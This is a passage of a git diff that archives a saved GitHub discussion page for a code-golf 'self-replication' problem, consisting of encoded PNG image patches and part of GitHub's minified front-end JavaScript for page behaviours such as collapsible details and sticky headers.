zfos>U0YEyP=8jY<6#(F;eJUJA5D?HKgr=sZN~ID21cSkql@*dCS(a_JS{92%EU>t^ z*zI;%mUX#YD=RC(U=RSlfB!CMHmZYC0Wm#7h#-i1y)J0!^?Ieo|NrCu{riH(rBZ2Q zV?&FBA^~~&NFCdIh*$u}!-o&K zHgj`xuU@_4PKgEh4!?i@K6mb%at8?k`Emc|%^OL2P9UGpce`BxNF)+VOH1qP>z_V- z0)Serh7%!40lveZKYz}jKd;b1DDdOQ51e30(uc!gvw2`C2@5=V^5pX6%jI$zf2Z*0 z_S?5_8yg$pa9Bow?@+B)x3;##4uAjt9U^e&&YeN@Z{NO^&z3m>gwU~L$3A@cfPXU{ zj~_X51R*q3K;UrU!Ue(EKp-$gK=4iB=wq?i&|IG{fDp1+ETK^7!Gj0fGG3v^e!&C~S;le}CWO@r?8@IQsp5v)RNK9oksR*Hp@SI>((vdKaBJc$K!Ds2f+{$$Iu~UGMPf5 z5CGKcb#YFv=pi2Z5s-1vC@_>>(Q8zTgBAgG^y*UyNe9&es_8W)b7BW|0$S*`rqcq4 z8#ivyH0}5M2MM^{Zi=EdH#ha7*I_~<|6Y<0?ezLgDQTKcrBcmiGn2_kCer+HI-T#| zzb_ODi9{k2iD;xZWKtgp1P0N2yjB*+(xDyv93tgWp{7Pc;3x+E4L2tu;3wYIjVnqF&ZadB~xWm$!# zMVrkgC@pro-G0B1Gwm^z7C8s5AL8-2^5SkPmBN!7uDBbGMzzpuDzD>yIC}J`^76XP zX3OXET;s1_zv8YNcX?glfEPG?KHu%zw}(!8W@cs_4u{X@v)k=>ZatX=4uON}&`3Yw zMLzBHlU!!ig??fS-FneaW~+gY^b^?Zp)dWox7+AWKh_OTM$j7~Fy<|1QwHtaWfD`ZG#kY;oZCjs6pubR2kr{{;X5|Nj$1n4#3?dr1HQ002ov JPDHLkV1jIY-|hea literal 0 HcmV?d00001 diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/33086936_003.png b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/33086936_003.png new file mode 100644 index 0000000000000000000000000000000000000000..5ba5de9491d93487fad7a8c930fb42132e842726 GIT binary patch literal 1547 zcmV+m2K4!fP)HW88;2bTPAlXZC`uZtN`V$6mP813X}8V=F}EtJDz!ySh&BVf?b4-9VP$Ce1CR&= z0cIjX6o?=Q93V@80md)@a)RySgmAx7??*>|{1qp4@+cC&DRvG%7gz1`aXWqhV7e`P z{%e3%@)x>OX%}>yLYet z`oUoE?c2BB_TnXUGMTjW!t=bh+@3+39k3B+v8cTNK64L0`Le z4LN3JW@K5$ld7uD&d%Bq&(6*&ih?bF{P=O^%o&DZIF8%i-tGkS_3PJ>BNB;Jt5rhC z=H}-5`a0Rk;NYN{I1-6ynnnoO*w{!U5`++0mV?0{a=&`@s=d(EF~czP^YZ|(v9W=N ztE;O3u(-HrhQ4&^5&*2Mtl(iHkpO_{>1jM{!FLl2rerc1kH_hu&*x(prdqAyp{8l{ zq#=I4pEjT$_U!qm>q@0EIXRin=iQUIHBFy9npi9b0OfM|e>;&RNl}!cp&@e@Cr_TN z)oPL?UAb~)Wo4yYE(5^u@UXs3Q_rO<=&h|S14keb$Ye75Hnm!9Zf?#_&GPcH;hL#b zips|DJnxdbF|^q+$8kvf^y$-BEVj54gE@1e(dhE>^5x5y$H&KUkiK*0P9P94_;xdX zH-L6IhPSECAnmT^=>>17xG%sGfICkuq z9r5YYr*pZSrPO=(?&<&YZhYH9n`dd3Ws&&#^XI+2y@qdPS^oCz+t}EcnfTnfbH9H5 zDwRrx^Hl1C2M=(Bap~I{+U%HR*>pM$0NHHzz<~p1GMpL-A^M@(=ku+uuGZ^y05C)A zrQW)A%fRj6+XC8rAG0j`@Zm!Mc=__B{?;@=D~du00e~AfZutHF-rn9+Duwg5s;ZXI zdZ~Bs-ZeZJcH@Z=I+aSEwIjxijEvxRAr_0Z?AR@|%k35bEG;eB5zo!d{r>%1-?%l$O+Z`vjz*(& zV|(@LRY{UGO|#qw3=It_iXur8Zh>)QYxv7}zpCJ#2{`~nv zi3LG8b?TIRlGe*&M~@z@)oS{(n5wErjvO&}F*rDgMYHww_07#qLP)h*jYJ|HDvM#L z@AK!+(*h(R#JK>esw%dWWqD?1rlSQ&jK0)6wUdUW-cTrnEpchy=~6GI`-gnmRtgr4q?SgJ={{C95Q|U_R{|5j7|NkcBPJ;<@sq_E<002ovPDHLkV1nkLAtC?( literal 0 HcmV?d00001 diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/50341827.png b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/50341827.png new file mode 100644 index 0000000000000000000000000000000000000000..8ef64b2c24c3cbe04945ff1d3784fa7eeb967e6c GIT binary patch literal 3124 zcmV-449oM0P)000a7NklI7B2RrfT>8HN#(z@-M&J>6aPopZjkR8_0DZrvjP zo(&NJfbMUP``FvA4FCus`ze6e;|p&4DZsAnpJAdGD!~4l$Ww>9zdd#ckuhf5cB|FO zinh1mys`F207P^gr`2jT&1TbVnx<(o%ObV~jtvfK;3~`p*9ONzr{%O9a7mUbx=LoP zPmX_>$z=9C^xg$vjNQ0>V>Y*9_n<`_28^hn=&CZPDY^;@1+F3pRVB^=Afu9uCa!=0 z>u2MSZhUb1;)@nwX=Q1A=4vx*Ij0MXrer`5AO_G#8kgd~At6+y3rFiy<)^0(jdhD* zk9ojxoU8Y)Ut0Y}8#5fjsHP+%3rGN^6ZB6}zC#GndyMPKqpe!4TO@nQ1B*+Gf4=|u z@^CdjR3L;{z;+xVzz+f72srW>!VtxwAM3rmbc3-Sd)uaUDu8X<<9ENkTKir(lBEjQ zy6d>4sD^k#fY|moP`&`|5_CCe!i0pBfC7Y(+8DVrf4?i}UKs620L!xec=b;kgY`^a zM;p=M%4;sywL^Iy9Yi=|%wfdSF$e7lNd;&M{>a|LK-7%(pj2L7Tj^YYE-3W<<6DI@ zC6Wd1^Be)k)G{pqijDv$^y*Q9cyNW9xdp(78^ojtHwx$&$Zw1kuhecij?=je9SPvN z?&GZ~MOBD55=H)!LY$niz5@I&S1Q+u578q=0<@1@qL%E^AZ&FqcjMWeeHP&6qg#Vx zL&#~)Nr3(tVqWn{k5XU>9T!o8EQ5|jkwTN-0O;(T5 zRES`kQZuf8OnSRaCPF!plw*Z&mTz`gy6z+ZB2H~h>p49b5XEr(iWwAq2P9Dx4bIwh zOGrEu_;3Lw4#rHka;WumdG;R_U}Acb4M4tVsmT1etF<-!>H)BAg zOg{UaHc_kBcYwEx4*B6kunDh zmnzqHNYA_Y!0humb^tISd7yrNWp0}4pdP|NjA3h21c{yub25+=B6%Hn8BcWEI8J|< z-6cJ5E5PmY-C|!c&`b=bqan{t?O2nSG4*4++GT6V6aqxbBVgnH>X&ol%gf7M3$U`f z((JW_s(32(jS%Dji>KKb>}0rQgR&{^-H~y;YlhWpWxIs^|8w}SPcElMq@8@= z+SBj)hWaG`!f>SKYMp2_9%N7^y&P6kY=V*qNP@alk^#|eI+d?y;Z#oR(+QH*Bh9Iq zsdkXt`oQ|e`g(3lhKLc3aAsz1aqaoa-`4@BDa&?EI)kaoYSdmRa|v9YnNtN}!&VyM;Xv&w33 zjq0i}A5o9xtTS|R^ZCNxCL52dQkj5~zT*PLT^OVP`APlZ>egyi|F1s(S+BNLxeMxf zV|?>wqEJouftxdT4jerY;RxWHHFI`rK^@i;&nrV&_q?_QE6@M(sPV8u92RLb1S<#7 zcsdKC&&G{KGh=1PiUD7R`l$fn)fZ>-<3D^W51rxz&1Q4nD#z#Eyfenw^pk1jbUtZ6 zZ!jQANn@|+OUi2btH)b+m(gKDhcahm$T1IRw!1z)&qirx#2`VXiw>{YgE9EIreyBW z$y(dgIVQmR#(H6(Ck&UN`#yUxXPs1&ksp&CD7~6{CbOEW&VTV}mg z+=jjO^}KSvzynVBkc&hKi^t%vN{kbwD-)3sQYh40?6pjbSV80z|E)c%R0bPVSK1ZN z51HgGZgizrBd_Xf{adq_A63VnVat^RXhb0(cEzmTC}&|r%(>=*dO#;~K!vsy9>&o_M$FEHRJ2Eh3;M><=JeMO zDp%&*YAZpZ=Jfi;)RO*2Kd8|ph&bG9QOYOLxFV?ZoE-S#;pJ^91OPdz^E9pzVsoLN zJe^if7$8G#t0DLt-$BSqvq$hp1&t~fjLj3)%x6-K9^b36<86@7z z(aJB3!ek1Rlm{vcKQ4x&Cs*bSC1)Yy?yr)$yEFDlm5Mo-XY}@lwwShO+U`N1Ji_P4 z>bd-u>#RSRD7u9V)!=X@JK7`G)(D`G$t9ldg90yEA$mUmA-R#B%2MUv$Y}b?Tt1Wc zM6Q%q)<#T972X$Mu)Y~b-$GCT+T1%PMraKM)YC@&jN4F5ZOFjDP(t@&p+HX1A@*1u z!+(c)>-@==wk;)en&rUi=A8MXI+zvy5G{H}YGH)51Z_H5myyIE6i5a*RUD3+bA!hm zKnPtVOhSkfdAw8CcHhXIr!*QhIlk&BE@M+qo~kDdJ~RcQ3Z6ucM2N$OC)qA{DC58_St-CdvRbm6vKwB+QoJ7*4SBUA&i@)BQ zu2`P&sUh>6g?zziAtdmYR=M`p;a4M6sXkyB#xI6HFe{Cu@&LH56aWe!Zv}K|gs8sq zChU~0!G@nnFGbuj!-s|saL-SgaXRZ9fJx~Dj;JbAgM2J{_nAO z5?$@Gta9r3sf+fjcHK(8rg;%5+yw)F_ihJgK*>`W&wV~bmY&`HcfvA)kfXJsQg12s zxt;RRhwuKZe=?i2CXFkHgv&hJZ0sd)`2u*3NfLg9$$2S<->7W8J^b2s9quH6q9~ue z^@%yT8UGm|1AaE}CgcFI;xP$1e(8#293bTh7^Uh{rcQ7&TOY@g3lGv`6;o`yVU!?O6Wu)-B|u z6CB=r#M@j-2~w^fM#H60BCmI0Y}(YSnQ!)7*bY?}yOh~%_Sfe=YRqoRt8u~;NECsh z1Hx|$!kRf6m5ErK$W$pAjsL7K(6h(SY=^45jqVdij{hINWo?=QB>G$N+*Uw+N*s1^jw?7ztT0~i^o)OZZlPF8XjUXt*k=i0}c^k5h zfAC3yjn-z%EN_+OvM-ID+Z9z8AA116XYc*$H{bs@d%iaW#f`vta+M$S4EV1{55iHZSG&j*6!s}Q0Ap#geM5oR}A_G+`&$sfoL463C8wKO_3S}K*g{hn)& zA3VKs_T`6PPE7VKsTl=rCJH33NCvLmvRT7n4Hp}(Vp9Wje$ZS&%@;C;PO}Ehl}g3_ zeE;ClL0wO-Qtqw69=;oO9OrkJes6)3&*lu8GeFO)Mz2xq$@dfrg?v7r%jHtl+4(nV zowvOR@GsJS`tWs|9(QOzeK(rYUZ?>3+q$TQy6W+Twf_(w_WFitm^m@H+uiF#01O2p~E{zrcF|gIJo;KEPL)yZz$#ziK*mtlmn8dWE8M-#c z88Sc+NA}&u?eWpV+k%Pc$=1rst3TS)IyX~@0D$TM4Uy~K7xxbVAs`=3|FpOGsrX3K zwBeSAt#R$B_T97ZH_Tn3lV+ViL0JI zB8un;$PiFn+bq_mti7qRi6P*@ipz)PHSL9#)0K$6v`LU4HI9D-c{~@Xf*yLHrS*q= zwP*L<7`#$jO=r_e5>xw@@?71>)OvzzUyazY0C@3sLqLEa&+`Y3$COx{;oz!OtEU>C zIYQ_(yF8!v><4C|5R*^!&idax7b>OB^ZMo+fR_)RW=0Hht*cB8pb<7M)H@sCf`Jmv z7<-i4XtrB_3EXHkD_Yf;>w4~>q=Z%q_4zD{fX4z3Bl^$w;=q6>!B5I7Mn3CN2}ty% zFv5F$19U9ZF{wT^@WdT7FN%fr#Z$nYZfBRuL0pxUuGQh=u?3E~PC@jOet=3fPccb( zw7B<+zHBwDVc@0RzZP;8Z3d;5^BAq+^PsSWtVt-VtqH%qWip0rRqp ztP9=MowWgA)EEVuYI}3XnPMRof`SDcogyBZwe8>58c!?K_a>0XCZgtY#mPx+Eahnh z27yh|GWc09xtybuG<=&@y4hVOv>WCVXQ(85Dw6(BmJt>ndfJi#x zXt4~Jbe7cut>H5GYhYhu3mblFMcpaOj3#gQtnQYmFhf^&$9qy=8B+ZRf^rQ=Q@jpM zYpI^s@=Rl?nVj#gBwz?pg$dS6!)VOKfl!@vM=Z|;-a4iB$W z5cxpb0O^Q9l|TrSCwyR#Rr}7wTw=-qFz5XK<>R(j`;yUre~7Tr#)^I1!?Akr72kawapIfAhu1#1yjSq6 zmnZtQ!lm%OHwcNAOez4<5jVuNnKcK*^&~JN-k-hq)w8cfi6KI~hA6`#E*4ON*I-25 zHoE!+y-?8d=V0`rF<$)d;Frf?FKwo2eo^@No94INOeswc2`NR#ksYB4%%Wj3BbPD_ zmLB2RVtu@rI$tW4(&^-K4ipgUi||77=7r2gQm7@ zSdJxCifrpHQ>H|UH;LNY>?vmUHcL?wWvOX~#FAWc=lte>&dfPGROjdC;fK`d{~MsU zT@DBlujM!Aw95ezLayaE=QQ;y7YBMcj$_%DZQC9)k1&^b4s&gEUE+Dn`=tDluIv93 zAVggFZgIbK?Nb!DSm1sCHPJt30dg z9hfu&V+2)7G@V4|1qbq@pa*`65K^19SKqGPnfzctLl?&oW9-@M=U=xUvnj$9=?fyB z!nhR1@dpesn_MHc`wYU9s?Jee_-Gry~|3Tuh{pd>Lbfrx2ZK z_36RFy8u=8D_zsZ$TkAlO-q?DqMrMNXDARrACZCw;lAFQXznyBmj+s_F6Yc#AdiS) zbeKmC6(j|E45v;;#7JaBuApLQbIOWkTbBT;9oE~q<2ZVPSC{x8;b1HVrr}WLja3V^ z3l3yF^QiUWtW}^7&{B0dKb#MQiJri+L?)11k1BG21@VXR_rbx(U0PdOTOJ6gbJVHQ zS|D#MkJGlvkk-dp31F`-lDhHRV2Q%+M&qP={Eh#uZQBOX{%R}*C0(n|{O?Kkp zsW44BEbYfQ`Vo_f-~+aosx3eTe#b*SHxv8OtTaV5J@;qBJ{-9ClmXT|A(9H9^5t;XzdD-&X5|=FXFs%@=zdD{!O~ zLdUE16Z=@7$%o!$$PI@1NLW(vVDxBhcfAkLP{wqLi=GG_*ITP?(+NF=64NjQ4~Q=6 zMvdYvtx-POe6rGbUcs&xXoWtupTG5rzB+D%kc^iM5=_{$KAe4cFz5SzFVJvt*y>oI z0eY~px#iDjr%^bKr~rr-of5Bv5^^ik96#P%TCF|ZcK5rjXBC*uC7Lyi$Igr#h8A zg*^)fCeg~8?(F1Da5^dS2_Xi}bXvz1wXT>tI!Lr2M`O5by9gSAvu+=v`kD`-q!NX2 z4hZ!_ep4XVBGDBB^Det-7)Gx`{DTGS^&MK~p+j_nu1MHGxcfZ>{cM^v7Qv`*3J@*$ znBCpH}`(6YdkcY&f46*Z^ruAU_ zzI=5GD3{CqW$F*kp_R-pAv=b*5(5$?>qAd*i6lV`DBrgxht1-dKmhRJ><6E9?)c1) zd*vc|5T}Uqq)M%vQVPMixB|H>aXQw6(!HKO`V?qieDeF^rj{Bp((>uSod+=TuHe5GA zCL1IWO=i+tv4v|xa_=F17346_@jf$u-q-GVx6*(9_{+>jOcX?Sk`#rH#4T)~T8fB- zDGZ{yCS8R9W=;QK>ei)!GMUU*vww8aA>jl-AKWzk|=%edF#~ zTUZxt$IRZC`IYxEb0cr5B8{BU;(Z2Q&3huJvSe$d4rQaxRxUe|wJ% zvT=UcX#8#c?_^r%E2Icj#+YY&XfZrty07Jkk*C>$md`5L9L)^-X1OqWqdaAr=4Cf! z2ijvSjf{L%{$geKWnRtYsF7E4#oSO~q);dn48!O#$*bEd>24gywLYi1d%B0SabF~gmSxG3CCio<$%cJ_dvT$Q8zBA@BZz+_d8fQU9w0A}AVCb< z@%~bU>nF`V>r`G)z@Erb(ZRuA3S&fKOZ9^ zL}WiUjNS|p0pR4IiRcBLe5{=uw0F}l;^brPXC@DC#N|RG2rN64|K|DkSsN0w#Xesbrty>DD zb!)Vm9qc23_HIi#l?&jBPq%vl0(3v4dkDxOatItEn}Xrleo23}y3i}=uH?!l!7cmNJ2fXkH9r`}iR#}7t}`C>On!Z3dH0B!AT z&r3h3!x|wciA*BhF-(hpw>f#@GqKrjn~ZPBkbglG^g}ox0Far?-`c(JI8Ha9Lroto zk9$iG`bP$M2h1H987Kpm1}I?wh_`@(V6lf`AQGVXAjD8`*)-0vf2=&|2DE3#xcB}2 z{oPCz1UEt)=7AxNY8@nqX%~(giJ9o@K29_Fw*(+b(oFyAc6H}ixL)JOfWAF{ci_|@ ziOvX+!*1<0<$e_sAQG*|r)cyz5yWONA0o<(^xbMcFirDlJjZ8w^?H2`HwDKY&2Cqw z%ymG)0f@j8dY}~SA@VrszDS&xwQtuR9u3;Fqd-4cd^mDuMDRisV05x9+GPX+rO=z$ z7qO0ASe~d=wpULM+AxeIvl7zmZ)VeQG#2ZR01iQvu4V}I?0a)hBn~MBZ5kf8_4Z+? zj?wg;nY+VNBZLXq(A;V&W4?zDBcP9w5-Lxn);$4Z=mi#sa5DSV=KaIG@KIshw(YXD z7Sv)9)MTlIG6on@TaTzU?kFhY1IfKMI7og=L~DK3$FoOyz;r)-Z{~jA={)&Kf-h)p z7CIqq1TkPh6m=9tDFg>0-}{FU1{x$nXf4$m>(#%vZ@1eiA~{qZwr$Th78ON~&J~Yl zvuRL4rsNcifQsHlI1VW;uj3#8-iS1B%JYIN`n<^4S$n$OE z`Fd@B)7omKD~>twW9_`L#GMR*w z321+#w%K3TFSE+Z51Y51>&tba%Gk8)h&btChN5zEbZhVHWjdoMBU#=g0vS&JmBGKw zes(D6s6Abr(NQ$0g z*NxrVW%>02>r=!iI0Q0+O)F#7<(1{wxTR`(W^Yc*Y7p^X?x@nj%mSW|<)ZSKYF(1o zTI*|HJZsMEQc}MZ#T_KpM6u9ltT%Qat*X~bC^2u=gAK$)Fe{7=e7-Ur?KDNx3(L=q zk|ls*sOHMkvi_>X6Svr1^GzDgSeN7tdAsuI?7^cgGM%V)WAiWOH{2ZNd3AqnN4we& z3_WUiLM!=W!uY=Zm+aZ+PgCR(XnLc*Stu6boltGPx>c;RjFd#|UF}{f6=eHzW=q{$ z{(NTt-a5F@BQ83g3b^>{4>wz8Q@v0M8?*^n+@mwd=CZeT?k2MBm^}J2ef(rwIA>4F zOM4Z0REw0-?uMdX68kJZtWr^itJ=;$?T4>s_ogdk*kTwdHvh<>+VqM&2$|D45ePz# zg@(jv1Ca#Q8R`DacM#EBOdkDe(FBvX?=s~$&fL@aP|8ubQPK@Q-%$~D0L#hnnp!>6 zT>R?E?$^t9%?SM+fzz_~zFcOnX5~ROoR1bq9Jr}4l)0aoqBh-l*lM-XE0=-NK)c=o z1-uHhGFLV)$lx6%?1amA>x8mf#dziic$68tlC7Q9mmbb;f3alm>40GFwfF8+lxroX z$`Hg`o6{L_trU3fz~!o!iqmsdhh$jw^NtnTu zl?@apAVcY5U)?tMpUmYBG^MC&?+);4S1iO4SO9J&L)5uq;`a=|WCofLMRI+bF{UXR z5f}|)v9&4LUI#fT(VesZrQjX931b)j!X>#(A{t)9S=ALovX!PBa?imMX@@L5|9bV z;otS`=KB+GN83wAM6AKqU?b|4Ic^IC<%TPXURP*6w6;(Mc!3)I@ehy(nJ~B~kXuJ1 zO*KXb`UgZyoh}amuD)``s3sFxj@xt{lZyV_zzB!kA$LUDEJh6l?ih4G29d9;)?V|2 z@pnQbsf#t^W8*ia_sj!5#*+i6GH+!IAX+k{r>IGqBR^ufQXmh01O5m^lOCY)YH4I> zB++EbNdND<|8shw z;_p8E1ZG-^o8s=mN(Ixk#k@oi!NV+=q9q!^;7;!B#8d*?p@nTOm;3e9FIyW2$zCPT z35Z$bHGdT4u|;(RKT1<)eG>u~Nv_^#UoTuuU1vOW0rK+s*RI!Jv-KFaC?i<`0&o4+ z19m*$(ekKM3Z1uG+)`hC=|XB#M|rQ0-up#vCW!_m5X-otbHq+TreneQ!El8zOgj9l zOv8LP_j)Ir=`Js7ilY4ft=||6jo4mZ2n8qv-{dWs3-^+a6VWdzok*BW6rut(v9fjf z?4?dfU9C@#kB)tm|8Jw#j%IPFAWs`&vJUfvnA1(U1NR|Da6$aIce!oa*K=2oc*=Nu zaC`5K8)wVIZWiVXn7M3`uM6=-{1guhJ9zLRdu@baFhMsUILrFAvsY8WbhSS1*(dLR zOi!8wfs;l-HbQ(0pZp@kN*jp%qzKT^%Xwy7_O;AKMNv|b^zcY7pUeOD+{b#Q5k_!^ zoe6eW0)YQuC`Nc9yo45U)a0z{?_aonG@foB$-Q#++=u3ymTrZ^skjMAieV>CE*r;9 zN==7r+Iz_4ZeWw$wpx|CHQN|i)^7HHa2U;j_3*^@|8Lx!{dA%6hVPykKyrwPY)|fj z>{w>S5EL$V$Fz-F8>;pI6h@Vyq0GRLTpBqwQYw{>rO&Heu&397c6N9E@aT`~#ex`9 zlgQ+`JO;Xvc&hCR=C$$eR-<(QTQO*U9w&h_U?#X>PZp3mp=-pb&=@$HPB zU!8dS@>`>o5k$=A^SNA3lB5^(u1Kn#@GS%Yn4Fw^0eHHyp5H?F=~%ZeuhahXwph2; oLm2<**uSdjA5k9v3;+QC{{_cV+~#5IKmY&$07*qoM6N<$f(5X4$^ZZW literal 0 HcmV?d00001 diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js new file mode 100644 index 0000000..aeb1781 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function 